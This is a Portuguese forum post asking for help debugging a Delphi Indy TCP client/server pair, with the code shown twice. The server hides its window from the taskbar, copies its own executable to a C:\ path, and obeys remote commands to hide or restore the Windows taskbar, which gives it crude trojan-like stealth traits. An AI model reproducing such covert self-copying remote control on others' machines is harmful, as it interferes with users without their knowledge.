Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro:
Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.
O código do servidor:
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent,
IdComponent, IdCustomTCPServer, IdTCPServer, IdContext;
type
TForm1 = class(TForm)
mensagem: TIdTCPServer;
hidebar: TIdTCPServer;
Memo1: TMemo;
Memo2: TMemo;
procedure mensagemConnect(AContext: TIdContext);
procedure Memo1Change(Sender: TObject);
procedure hidebarConnect(AContext: TIdContext);
procedure Memo2Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
var
Handle: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
a : String;
begin
//*** Nao aparece na barra ***********************************************
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
a := Application.ExeName;
If not FileExists('C:\') then
Begin
CopyFile(Pchar(a), Pchar('C:\'), False);
End;
end;
procedure TForm1.hidebarConnect(AContext: TIdContext);
begin
With AContext.Connection.IOHandler do
begin
Memo2.Lines.Add(Readln)
end;
memo2.Text := '';
end;
procedure TForm1.Memo1Change(Sender: TObject);
var
a : string;
begin
a := memo1.Lines[0];
ShowMessage(a);
end;
procedure TForm1.Memo2Change(Sender: TObject);
var
a : string;
begin
a := memo2.Lines[0];
if a = 'esconder' then
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
if a = 'mostrar' then
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE);
end;
procedure TForm1.mensagemConnect(AContext: TIdContext);
begin
With AContext.Connection.IOHandler do
begin
Memo1.Lines.Add(Readln)
end;
memo1.Text := '';
end;
end.
O código do cliente:
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
IP: TEdit;
Edit1: TEdit;
Button1: TButton;
ComboBox1: TComboBox;
Button2: TButton;
mensagem: TIdTCPClient;
hidebar: TIdTCPClient;
procedure Button1Click(Sender: TObject);
procedure mensagemConnected(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure hidebarConnected(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
mensagem.Host := IP.Text;
mensagem.Connect;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
hidebar.Host := Edit1.Text;
hidebar.Connect;
end;
procedure TForm1.hidebarConnected(Sender: TObject);
begin
With hidebar Do
Begin
WriteLn(Combobox1.Text);
Disconnect;
End;
end;
procedure TForm1.mensagemConnected(Sender: TObject);
begin
With mensagem Do
Begin
WriteLn(Edit1.Text);
Disconnect;
End;
end;
end.
Pergunta
bloodnick2015
Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro:
Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.
O código do servidor:
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; type TForm1 = class(TForm) mensagem: TIdTCPServer; hidebar: TIdTCPServer; Memo1: TMemo; Memo2: TMemo; procedure mensagemConnect(AContext: TIdContext); procedure Memo1Change(Sender: TObject); procedure hidebarConnect(AContext: TIdContext); procedure Memo2Change(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); type TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; var Handle: THandle; RegisterServiceProcess: TRegisterServiceProcess; a : String; begin //*** Nao aparece na barra *********************************************** SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); a := Application.ExeName; If not FileExists('C:\') then Begin CopyFile(Pchar(a), Pchar('C:\'), False); End; end; procedure TForm1.hidebarConnect(AContext: TIdContext); begin With AContext.Connection.IOHandler do begin Memo2.Lines.Add(Readln) end; memo2.Text := ''; end; procedure TForm1.Memo1Change(Sender: TObject); var a : string; begin a := memo1.Lines[0]; ShowMessage(a); end; procedure TForm1.Memo2Change(Sender: TObject); var a : string; begin a := memo2.Lines[0]; if a = 'esconder' then ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); if a = 'mostrar' then ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); end; procedure TForm1.mensagemConnect(AContext: TIdContext); begin With AContext.Connection.IOHandler do begin Memo1.Lines.Add(Readln) end; memo1.Text := ''; end; end.O código do cliente:
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient; type TForm1 = class(TForm) GroupBox1: TGroupBox; GroupBox2: TGroupBox; GroupBox3: TGroupBox; IP: TEdit; Edit1: TEdit; Button1: TButton; ComboBox1: TComboBox; Button2: TButton; mensagem: TIdTCPClient; hidebar: TIdTCPClient; procedure Button1Click(Sender: TObject); procedure mensagemConnected(Sender: TObject); procedure Button2Click(Sender: TObject); procedure hidebarConnected(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin mensagem.Host := IP.Text; mensagem.Connect; end; procedure TForm1.Button2Click(Sender: TObject); begin hidebar.Host := Edit1.Text; hidebar.Connect; end; procedure TForm1.hidebarConnected(Sender: TObject); begin With hidebar Do Begin WriteLn(Combobox1.Text); Disconnect; End; end; procedure TForm1.mensagemConnected(Sender: TObject); begin With mensagem Do Begin WriteLn(Edit1.Text); Disconnect; End; end; end.
Editado por bloodnick2015Link para o comentário
Compartilhar em outros sites
8 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.